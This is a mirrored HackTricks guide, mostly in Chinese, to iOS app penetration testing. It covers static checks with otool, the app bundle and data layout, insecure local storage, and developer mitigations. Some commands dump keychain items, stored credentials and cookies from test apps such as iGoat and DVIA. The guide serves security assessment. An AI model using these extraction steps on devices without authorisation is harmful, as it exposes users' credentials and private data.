mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1094 lines
54 KiB
Markdown
1094 lines
54 KiB
Markdown
# iOS Pentesting
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## iOS Basics
|
||
|
||
{{#ref}}
|
||
ios-basics.md
|
||
{{#endref}}
|
||
|
||
## Testing Environment
|
||
|
||
在此页面中,您可以找到有关**iOS 模拟器**、**模拟器**和**越狱**的信息:
|
||
|
||
{{#ref}}
|
||
ios-testing-environment.md
|
||
{{#endref}}
|
||
|
||
## Initial Analysis
|
||
|
||
### Basic iOS Testing Operations
|
||
|
||
在测试过程中**将建议进行几项操作**(连接到设备、读/写/上传/下载文件、使用一些工具...)。因此,如果您不知道如何执行这些操作,请**开始阅读此页面**:
|
||
|
||
{{#ref}}
|
||
basic-ios-testing-operations.md
|
||
{{#endref}}
|
||
|
||
> [!TIP]
|
||
> 对于以下步骤,**应用程序应已安装**在设备上,并且应已获得应用程序的**IPA 文件**。\
|
||
> 阅读[Basic iOS Testing Operations](basic-ios-testing-operations.md)页面以了解如何执行此操作。
|
||
|
||
### Basic Static Analysis
|
||
|
||
一些有趣的 iOS - IPA 文件反编译工具:
|
||
|
||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||
|
||
建议使用工具[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)对 IPA 文件进行自动静态分析。
|
||
|
||
识别**二进制文件中存在的保护**:
|
||
|
||
- **PIE (Position Independent Executable)**:启用时,应用程序每次启动时加载到随机内存地址,使其初始内存地址更难预测。
|
||
|
||
```bash
|
||
otool -hv <app-binary> | grep PIE # 应该包含 PIE 标志
|
||
```
|
||
|
||
- **Stack Canaries**:为了验证堆栈的完整性,在调用函数之前将一个“金丝雀”值放置在堆栈上,并在函数结束时再次验证。
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep stack_chk # 应该包含符号:stack_chk_guard 和 stack_chk_fail
|
||
```
|
||
|
||
- **ARC (Automatic Reference Counting)**:防止常见的内存损坏缺陷
|
||
|
||
```bash
|
||
otool -I -v <app-binary> | grep objc_release # 应该包含 _objc_release 符号
|
||
```
|
||
|
||
- **Encrypted Binary**:二进制文件应被加密
|
||
|
||
```bash
|
||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptid 应该为 1
|
||
```
|
||
|
||
**识别敏感/不安全的函数**
|
||
|
||
- **弱哈希算法**
|
||
|
||
```bash
|
||
# 在 iOS 设备上
|
||
otool -Iv <app> | grep -w "_CC_MD5"
|
||
otool -Iv <app> | grep -w "_CC_SHA1"
|
||
|
||
# 在 Linux 上
|
||
grep -iER "_CC_MD5"
|
||
grep -iER "_CC_SHA1"
|
||
```
|
||
|
||
- **不安全的随机函数**
|
||
|
||
```bash
|
||
# 在 iOS 设备上
|
||
otool -Iv <app> | grep -w "_random"
|
||
otool -Iv <app> | grep -w "_srand"
|
||
otool -Iv <app> | grep -w "_rand"
|
||
|
||
# 在 Linux 上
|
||
grep -iER "_random"
|
||
grep -iER "_srand"
|
||
grep -iER "_rand"
|
||
```
|
||
|
||
- **不安全的‘Malloc’函数**
|
||
|
||
```bash
|
||
# 在 iOS 设备上
|
||
otool -Iv <app> | grep -w "_malloc"
|
||
|
||
# 在 Linux 上
|
||
grep -iER "_malloc"
|
||
```
|
||
|
||
- **不安全和易受攻击的函数**
|
||
|
||
```bash
|
||
# 在 iOS 设备上
|
||
otool -Iv <app> | grep -w "_gets"
|
||
otool -Iv <app> | grep -w "_memcpy"
|
||
otool -Iv <app> | grep -w "_strncpy"
|
||
otool -Iv <app> | grep -w "_strlen"
|
||
otool -Iv <app> | grep -w "_vsnprintf"
|
||
otool -Iv <app> | grep -w "_sscanf"
|
||
otool -Iv <app> | grep -w "_strtok"
|
||
otool -Iv <app> | grep -w "_alloca"
|
||
otool -Iv <app> | grep -w "_sprintf"
|
||
otool -Iv <app> | grep -w "_printf"
|
||
otool -Iv <app> | grep -w "_vsprintf"
|
||
|
||
# 在 Linux 上
|
||
grep -R "_gets"
|
||
grep -iER "_memcpy"
|
||
grep -iER "_strncpy"
|
||
grep -iER "_strlen"
|
||
grep -iER "_vsnprintf"
|
||
grep -iER "_sscanf"
|
||
grep -iER "_strtok"
|
||
grep -iER "_alloca"
|
||
grep -iER "_sprintf"
|
||
grep -iER "_printf"
|
||
grep -iER "_vsprintf"
|
||
```
|
||
|
||
### Basic Dynamic Analysis
|
||
|
||
查看[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)执行的动态分析。您需要浏览不同的视图并与之互动,但它将在执行其他操作时挂钩多个类,并在完成后准备报告。
|
||
|
||
### Listing Installed Apps
|
||
|
||
使用命令`frida-ps -Uai`来确定已安装应用程序的**bundle identifier**:
|
||
```bash
|
||
$ frida-ps -Uai
|
||
PID Name Identifier
|
||
---- ------------------- -----------------------------------------
|
||
6847 Calendar com.apple.mobilecal
|
||
6815 Mail com.apple.mobilemail
|
||
- App Store com.apple.AppStore
|
||
- Apple Store com.apple.store.Jolly
|
||
- Calculator com.apple.calculator
|
||
- Camera com.apple.camera
|
||
- iGoat-Swift OWASP.iGoat-Swift
|
||
```
|
||
### 基本枚举与钩子
|
||
|
||
学习如何**枚举应用程序的组件**以及如何使用objection轻松**钩取方法和类**:
|
||
|
||
{{#ref}}
|
||
ios-hooking-with-objection.md
|
||
{{#endref}}
|
||
|
||
### IPA结构
|
||
|
||
**IPA文件**的结构本质上是一个**压缩包**。通过将其扩展名重命名为`.zip`,可以**解压缩**以揭示其内容。在此结构中,**Bundle**表示一个完全打包的应用程序,准备安装。在其中,您会找到一个名为`<NAME>.app`的目录,封装了应用程序的资源。
|
||
|
||
- **`Info.plist`**:此文件包含应用程序的特定配置细节。
|
||
- **`_CodeSignature/`**:此目录包含一个plist文件,包含签名,确保包中所有文件的完整性。
|
||
- **`Assets.car`**:一个压缩档案,存储图标等资产文件。
|
||
- **`Frameworks/`**:此文件夹包含应用程序的本地库,可能以`.dylib`或`.framework`文件的形式存在。
|
||
- **`PlugIns/`**:这可能包括应用程序的扩展,称为`.appex`文件,尽管它们并不总是存在。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用,缓存临时数据,并为您的应用在单个设备上添加撤消功能。要在单个iCloud帐户中的多个设备之间同步数据,Core Data会自动将您的架构镜像到CloudKit容器中。
|
||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html):`PkgInfo`文件是指定应用程序或包的类型和创建者代码的另一种方式。
|
||
- **en.lproj, fr.proj, Base.lproj**:是包含特定语言资源的语言包,以及在不支持某种语言时的默认资源。
|
||
- **安全性**:`_CodeSignature/`目录在应用程序的安全性中发挥着关键作用,通过数字签名验证所有打包文件的完整性。
|
||
- **资产管理**:`Assets.car`文件使用压缩有效管理图形资产,对于优化应用程序性能和减少整体大小至关重要。
|
||
- **框架和插件**:这些目录强调了iOS应用程序的模块化,允许开发人员包含可重用的代码库(`Frameworks/`)并扩展应用程序功能(`PlugIns/`)。
|
||
- **本地化**:该结构支持多种语言,通过包含特定语言包的资源,促进全球应用程序的覆盖。
|
||
|
||
**Info.plist**
|
||
|
||
**Info.plist**作为iOS应用程序的基石,以**键值**对的形式封装了关键配置数据。此文件不仅是应用程序的必需品,也是捆绑在内的应用扩展和框架的必需品。它以XML或二进制格式结构化,包含从应用权限到安全配置的关键信息。有关可用键的详细探索,可以参考[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)。
|
||
|
||
对于希望以更易于访问的格式处理此文件的用户,可以通过在macOS上使用`plutil`(在10.2及更高版本中原生可用)或在Linux上使用`plistutil`轻松实现XML转换。转换的命令如下:
|
||
|
||
- **对于macOS**:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
- **对于Linux**:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
在 **Info.plist** 文件可以透露的众多信息中,显著条目包括应用权限字符串 (`UsageDescription`)、自定义 URL 方案 (`CFBundleURLTypes`) 和应用传输安全配置 (`NSAppTransportSecurity`)。这些条目,以及其他如导出/导入的自定义文档类型 (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`),可以通过检查文件或使用简单的 `grep` 命令轻松找到:
|
||
```bash
|
||
$ grep -i <keyword> Info.plist
|
||
```
|
||
**数据路径**
|
||
|
||
在 iOS 环境中,目录专门为 **系统应用** 和 **用户安装的应用** 指定。系统应用位于 `/Applications` 目录下,而用户安装的应用则放在 `/var/mobile/containers/Data/Application/` 下。这些应用被分配一个称为 **128-bit UUID** 的唯一标识符,使得手动定位应用文件夹的任务因目录名称的随机性而变得具有挑战性。
|
||
|
||
> [!WARNING]
|
||
> 由于 iOS 中的应用必须被沙盒化,每个应用在 **`$HOME/Library/Containers`** 中也会有一个以应用的 **`CFBundleIdentifier`** 作为文件夹名称的文件夹。
|
||
>
|
||
> 然而,这两个文件夹(数据和容器文件夹)都有文件 **`.com.apple.mobile_container_manager.metadata.plist`**,该文件在键 `MCMetadataIdentifier` 中链接了这两个文件。
|
||
|
||
为了方便发现用户安装的应用的安装目录,**objection 工具** 提供了一个有用的命令 `env`。该命令显示了相关应用的详细目录信息。以下是如何使用此命令的示例:
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||
|
||
Name Path
|
||
----------------- -------------------------------------------------------------------------------------------
|
||
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
|
||
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
|
||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||
```
|
||
另外,可以使用 `find` 命令在 `/private/var/containers` 中搜索应用程序名称:
|
||
```bash
|
||
find /private/var/containers -name "Progname*"
|
||
```
|
||
命令如 `ps` 和 `lsof` 也可以用来识别应用程序的进程和列出打开的文件,从而提供有关应用程序活动目录路径的见解:
|
||
```bash
|
||
ps -ef | grep -i <app-name>
|
||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||
```
|
||
**Bundle directory:**
|
||
|
||
- **AppName.app**
|
||
- 这是在IPA中看到的应用程序包,它包含了重要的应用程序数据、静态内容以及应用程序的编译二进制文件。
|
||
- 该目录对用户可见,但**用户无法写入**。
|
||
- 此目录中的内容**不被备份**。
|
||
- 此文件夹的内容用于**验证代码签名**。
|
||
|
||
**Data directory:**
|
||
|
||
- **Documents/**
|
||
- 包含所有用户生成的数据。应用程序最终用户发起此数据的创建。
|
||
- 对用户可见,且**用户可以写入**。
|
||
- 此目录中的内容**被备份**。
|
||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||
- **Library/**
|
||
- 包含所有**非用户特定**的文件,如**缓存**、**偏好设置**、**cookies**和属性列表(plist)配置文件。
|
||
- iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
|
||
- **Library/Caches/**
|
||
- 包含**半持久的缓存文件**。
|
||
- 对用户不可见,且**用户无法写入**。
|
||
- 此目录中的内容**不被备份**。
|
||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||
- **Library/Application Support/**
|
||
- 包含运行应用程序所需的**持久****文件**。
|
||
- 对**用户不可见**,且用户无法写入。
|
||
- 此目录中的内容**被备份**。
|
||
- 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
|
||
- **Library/Preferences/**
|
||
- 用于存储即使在应用程序重启后也能**持久化**的属性。
|
||
- 信息以未加密的形式保存在应用程序沙箱中的一个名为\[BUNDLE_ID].plist的plist文件中。
|
||
- 所有使用`NSUserDefaults`存储的键/值对都可以在此文件中找到。
|
||
- **tmp/**
|
||
- 使用此目录来写入**临时文件**,这些文件在应用程序启动之间不需要持久化。
|
||
- 包含非持久的缓存文件。
|
||
- 对用户**不可见**。
|
||
- 此目录中的内容不被备份。
|
||
- 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录的文件。
|
||
|
||
让我们更仔细地看看iGoat-Swift的应用程序包(.app)目录,位于包目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||
```bash
|
||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||
NSFileType Perms NSFileProtection ... Name
|
||
------------ ------- ------------------ ... --------------------------------------
|
||
Regular 420 None ... rutger.html
|
||
Regular 420 None ... mansi.html
|
||
Regular 420 None ... splash.html
|
||
Regular 420 None ... about.html
|
||
|
||
Regular 420 None ... LICENSE.txt
|
||
Regular 420 None ... Sentinel.txt
|
||
Regular 420 None ... README.txt
|
||
```
|
||
### 二进制逆向
|
||
|
||
在 `<application-name>.app` 文件夹中,您会找到一个名为 `<application-name>` 的二进制文件。这是将被 **执行** 的文件。您可以使用工具 **`otool`** 对二进制文件进行基本检查:
|
||
```bash
|
||
otool -Vh DVIA-v2 #Check some compilation attributes
|
||
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
|
||
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
|
||
|
||
otool -L DVIA-v2 #Get third party libraries
|
||
DVIA-v2:
|
||
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
|
||
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
|
||
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
|
||
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
|
||
[...]
|
||
```
|
||
**检查应用是否加密**
|
||
|
||
查看是否有任何输出:
|
||
```bash
|
||
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
|
||
```
|
||
**反汇编二进制文件**
|
||
|
||
反汇编文本段:
|
||
```bash
|
||
otool -tV DVIA-v2
|
||
DVIA-v2:
|
||
(__TEXT,__text) section
|
||
+[DDLog initialize]:
|
||
0000000100004ab8 sub sp, sp, #0x60
|
||
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
|
||
0000000100004ac0 add x29, sp, #0x50
|
||
0000000100004ac4 sub x8, x29, #0x10
|
||
0000000100004ac8 mov x9, #0x0
|
||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||
0000000100004ad0 add x10, x10, #0x268
|
||
```
|
||
要打印示例应用程序的 **Objective-C 段**,可以使用:
|
||
```bash
|
||
otool -oV DVIA-v2
|
||
DVIA-v2:
|
||
Contents of (__DATA,__objc_classlist) section
|
||
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
|
||
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
|
||
superclass 0x0 _OBJC_CLASS_$_NSObject
|
||
cache 0x0 __objc_empty_cache
|
||
vtable 0x0
|
||
data 0x1003de748
|
||
flags 0x80
|
||
instanceStart 8
|
||
```
|
||
为了获得更紧凑的 Objective-C 代码,您可以使用 [**class-dump**](http://stevenygard.com/projects/class-dump/):
|
||
```bash
|
||
class-dump some-app
|
||
//
|
||
// Generated by class-dump 3.5 (64 bit).
|
||
//
|
||
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
|
||
//
|
||
|
||
#pragma mark Named Structures
|
||
|
||
struct CGPoint {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
|
||
struct CGRect {
|
||
struct CGPoint _field1;
|
||
struct CGSize _field2;
|
||
};
|
||
|
||
struct CGSize {
|
||
double _field1;
|
||
double _field2;
|
||
};
|
||
```
|
||
然而,反汇编二进制文件的最佳选择是:[**Hopper**](https://www.hopperapp.com/download.html?) 和 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)。
|
||
|
||
## 数据存储
|
||
|
||
要了解 iOS 如何在设备中存储数据,请阅读此页面:
|
||
|
||
{{#ref}}
|
||
ios-basics.md
|
||
{{#endref}}
|
||
|
||
> [!WARNING]
|
||
> 以下存储信息的地方应在**安装应用程序后**、**检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**进行检查。\
|
||
> 目标是找到应用程序的**未保护敏感信息**(密码、令牌)、当前用户和之前登录用户的信息。
|
||
|
||
### Plist
|
||
|
||
**plist** 文件是结构化的 XML 文件,**包含键值对**。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到**敏感信息**。建议在安装应用程序后以及在密集使用后检查这些文件,以查看是否写入了新数据。
|
||
|
||
在 plist 文件中持久化数据的最常见方式是通过使用 **NSUserDefaults**。此 plist 文件保存在应用程序沙箱中的 **`Library/Preferences/<appBundleID>.plist`**
|
||
|
||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统交互的编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。通过 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在**plist** **文件**中,但旨在用于少量数据。
|
||
|
||
此数据不能再通过受信任的计算机直接访问,但可以通过执行**备份**进行访问。
|
||
|
||
您可以使用 objection 的 `ios nsuserdefaults get` 来**转储**保存的信息。
|
||
|
||
要找到应用程序使用的所有 plist,您可以访问 `/private/var/mobile/Containers/Data/Application/{APPID}` 并运行:
|
||
```bash
|
||
find ./ -name "*.plist"
|
||
```
|
||
要将文件从 **XML 或二进制 (bplist)** 格式转换为 XML,可以根据您的操作系统使用各种方法:
|
||
|
||
**对于 macOS 用户:** 使用 `plutil` 命令。它是 macOS (10.2+) 中的内置工具,专为此目的设计:
|
||
```bash
|
||
$ plutil -convert xml1 Info.plist
|
||
```
|
||
**对于 Linux 用户:** 首先安装 `libplist-utils`,然后使用 `plistutil` 转换您的文件:
|
||
```bash
|
||
$ apt install libplist-utils
|
||
$ plistutil -i Info.plist -o Info_xml.plist
|
||
```
|
||
**在 Objection 会话中:** 用于分析移动应用程序的特定命令允许您直接转换 plist 文件:
|
||
```bash
|
||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||
```
|
||
### Core Data
|
||
|
||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) 是一个用于管理应用程序中对象模型层的框架。[Core Data 可以使用 SQLite 作为其持久存储](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/),但该框架本身不是数据库。\
|
||
CoreData 默认不加密其数据。然而,可以向 CoreData 添加额外的加密层。有关更多详细信息,请参见 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)。
|
||
|
||
您可以在路径 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` 中找到应用程序的 SQLite Core Data 信息。
|
||
|
||
**如果您可以打开 SQLite 并访问敏感信息,那么您发现了一个配置错误。**
|
||
```objectivec:Code from iGoat
|
||
-(void)storeDetails {
|
||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||
|
||
NSManagedObjectContext *context =[appDelegate managedObjectContext];
|
||
|
||
User *user = [self fetchUser];
|
||
if (user) {
|
||
return;
|
||
}
|
||
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
|
||
inManagedObjectContext:context];
|
||
user.email = CoreDataEmail;
|
||
user.password = CoreDataPassword;
|
||
NSError *error;
|
||
if (![context save:&error]) {
|
||
NSLog(@"Error in saving data: %@", [error localizedDescription]);
|
||
|
||
}else{
|
||
NSLog(@"data stored in core data");
|
||
}
|
||
}
|
||
```
|
||
### YapDatabase
|
||
|
||
[YapDatabase](https://github.com/yapstudios/YapDatabase) 是一个基于 SQLite 的键值存储。\
|
||
由于 Yap 数据库是 sqlite 数据库,您可以使用前一节中提供的命令找到它们。
|
||
|
||
### 其他 SQLite 数据库
|
||
|
||
应用程序通常会创建自己的 sqlite 数据库。它们可能在其中**存储** **敏感** **数据**,并且未加密。因此,检查应用程序目录中的每个数据库总是很有趣。因此,请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)
|
||
```bash
|
||
find ./ -name "*.sqlite" -or -name "*.db"
|
||
```
|
||
### Firebase 实时数据库
|
||
|
||
开发者可以通过 Firebase 实时数据库在 **NoSQL 云托管数据库** 中 **存储和同步数据**。数据以 JSON 格式存储,并实时同步到所有连接的客户端。
|
||
|
||
您可以在这里找到如何检查配置错误的 Firebase 数据库:
|
||
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||
{{#endref}}
|
||
|
||
### Realm 数据库
|
||
|
||
[Realm Objective-C](https://realm.io/docs/objc/latest/) 和 [Realm Swift](https://realm.io/docs/swift/latest/) 提供了一种强大的数据存储替代方案,这是 Apple 所不提供的。默认情况下,它们 **以未加密的方式存储数据**,通过特定配置可以实现加密。
|
||
|
||
数据库位于:`/private/var/mobile/Containers/Data/Application/{APPID}`。要探索这些文件,可以使用以下命令:
|
||
```bash
|
||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||
|
||
$ find ./ -name "*.realm*"
|
||
```
|
||
为了查看这些数据库文件,推荐使用 [**Realm Studio**](https://github.com/realm/realm-studio) 工具。
|
||
|
||
要在 Realm 数据库中实现加密,可以使用以下代码片段:
|
||
```swift
|
||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||
let config = Realm.Configuration(encryptionKey: getKey())
|
||
do {
|
||
let realm = try Realm(configuration: config)
|
||
// Use the Realm as normal
|
||
} catch let error as NSError {
|
||
// If the encryption key is wrong, `error` will say that it's an invalid database
|
||
fatalError("Error opening realm: \(error)")
|
||
}
|
||
```
|
||
### Couchbase Lite 数据库
|
||
|
||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) 被描述为一个 **轻量级** 和 **嵌入式** 的数据库引擎,遵循 **文档导向** (NoSQL) 方法。它旨在原生支持 **iOS** 和 **macOS**,提供无缝同步数据的能力。
|
||
|
||
要识别设备上的潜在 Couchbase 数据库,应检查以下目录:
|
||
```bash
|
||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||
```
|
||
### Cookies
|
||
|
||
iOS 将应用的 cookies 存储在每个应用文件夹中的 **`Library/Cookies/cookies.binarycookies`** 中。然而,开发者有时决定将它们保存在 **keychain** 中,因为提到的 **cookie 文件可以在备份中访问**。
|
||
|
||
要检查 cookies 文件,您可以使用 [**这个 python 脚本**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) 或使用 objection 的 **`ios cookies get`**。\
|
||
**您还可以使用 objection 将这些文件转换为 JSON 格式并检查数据。**
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||
[
|
||
{
|
||
"domain": "highaltitudehacks.com",
|
||
"expiresDate": "2051-09-15 07:46:43 +0000",
|
||
"isHTTPOnly": "false",
|
||
"isSecure": "false",
|
||
"name": "username",
|
||
"path": "/",
|
||
"value": "admin123",
|
||
"version": "0"
|
||
}
|
||
]
|
||
```
|
||
### Cache
|
||
|
||
默认情况下,NSURLSession将数据(例如**HTTP请求和响应)存储在Cache.db**数据库中。该数据库可能包含**敏感数据**,如果令牌、用户名或任何其他敏感信息被缓存。要查找缓存的信息,请打开应用的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`),并转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
|
||
|
||
**建议禁用缓存这些数据**,因为它可能在请求或响应中包含敏感信息。以下列表显示了实现此目的的不同方法:
|
||
|
||
1. 建议在注销后删除缓存的响应。这可以通过Apple提供的方法[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)来完成。您可以按如下方式调用此方法:
|
||
|
||
`URLCache.shared.removeAllCachedResponses()`
|
||
|
||
此方法将从Cache.db文件中删除所有缓存的请求和响应。
|
||
|
||
2. 如果您不需要使用cookie的优势,建议仅使用URLSession的[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)配置属性,这将禁用保存cookie和缓存。
|
||
|
||
[Apple文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||
|
||
`一个短暂的会话配置对象类似于默认的会话配置(见default),不同之处在于相应的会话对象不会将缓存、凭证存储或任何与会话相关的数据存储到磁盘上。相反,与会话相关的数据存储在RAM中。短暂会话写入磁盘的唯一时间是当您告诉它将URL的内容写入文件时。`
|
||
|
||
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁用以任何方式存储缓存,无论是在内存中还是在磁盘上。
|
||
|
||
### Snapshots
|
||
|
||
每当您按下主屏幕按钮时,iOS **会拍摄当前屏幕的快照**,以便能够更顺畅地过渡到应用程序。然而,如果当前屏幕上存在**敏感** **数据**,它将被**保存**在**图像**中(该图像**在重启后仍然存在**)。这些快照您也可以通过双击主屏幕在应用之间切换访问。
|
||
|
||
除非iPhone越狱,否则**攻击者**需要**访问**未解锁的**设备**才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用的沙盒中,位于`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中(受信任的计算机无法从iOS 7.0访问文件系统)。
|
||
|
||
防止这种不良行为的一种方法是在使用`ApplicationDidEnterBackground()`函数拍摄快照之前,放置一个空白屏幕或删除敏感数据。
|
||
|
||
以下是设置默认屏幕截图的示例修复方法。
|
||
|
||
Swift:
|
||
```swift
|
||
private var backgroundImage: UIImageView?
|
||
|
||
func applicationDidEnterBackground(_ application: UIApplication) {
|
||
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
|
||
myBanner.frame = UIScreen.main.bounds
|
||
backgroundImage = myBanner
|
||
window?.addSubview(myBanner)
|
||
}
|
||
|
||
func applicationWillEnterForeground(_ application: UIApplication) {
|
||
backgroundImage?.removeFromSuperview()
|
||
}
|
||
```
|
||
Objective-C:
|
||
```
|
||
@property (UIImageView *)backgroundImage;
|
||
|
||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
|
||
self.backgroundImage = myBanner;
|
||
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||
[self.window addSubview:myBanner];
|
||
}
|
||
|
||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||
[self.backgroundImage removeFromSuperview];
|
||
}
|
||
```
|
||
这会在应用程序进入后台时将背景图像设置为 `overlayImage.png`。它防止敏感数据泄漏,因为 `overlayImage.png` 将始终覆盖当前视图。
|
||
|
||
### Keychain
|
||
|
||
对于访问和管理 iOS 密钥链,可以使用像 [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) 这样的工具,适用于越狱设备。此外, [**Objection**](https://github.com/sensepost/objection) 提供了命令 `ios keychain dump` 用于类似目的。
|
||
|
||
#### **存储凭据**
|
||
|
||
**NSURLCredential** 类非常适合直接在密钥链中保存敏感信息,绕过 NSUserDefaults 或其他包装器的需要。要在登录后存储凭据,可以使用以下 Swift 代码:
|
||
```swift
|
||
NSURLCredential *credential;
|
||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||
```
|
||
要提取这些存储的凭据,可以使用 Objection 的命令 `ios nsurlcredentialstorage dump`。
|
||
|
||
## **自定义键盘和键盘缓存**
|
||
|
||
从 iOS 8.0 开始,用户可以安装自定义键盘扩展,这些扩展可以在 **设置 > 通用 > 键盘 > 键盘** 下进行管理。虽然这些键盘提供了扩展功能,但它们存在记录按键和将数据传输到外部服务器的风险,尽管用户会被通知需要网络访问的键盘。应用程序可以并且应该限制在输入敏感信息时使用自定义键盘。
|
||
|
||
**安全建议:**
|
||
|
||
- 建议禁用第三方键盘以增强安全性。
|
||
- 注意默认 iOS 键盘的自动更正和自动建议功能,这可能会在位于 `Library/Keyboard/{locale}-dynamic-text.dat` 或 `/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中存储敏感信息。这些缓存文件应定期检查以查找敏感数据。建议通过 **设置 > 通用 > 重置 > 重置键盘字典** 来重置键盘字典,以清除缓存数据。
|
||
- 拦截网络流量可以揭示自定义键盘是否正在远程传输按键。
|
||
|
||
### **防止文本字段缓存**
|
||
|
||
[UITextInputTraits 协议](https://developer.apple.com/reference/uikit/uitextinputtraits) 提供了管理自动更正和安全文本输入的属性,这对于防止敏感信息缓存至关重要。例如,可以通过禁用自动更正和启用安全文本输入来实现:
|
||
```objectivec
|
||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
textObject.secureTextEntry = YES;
|
||
```
|
||
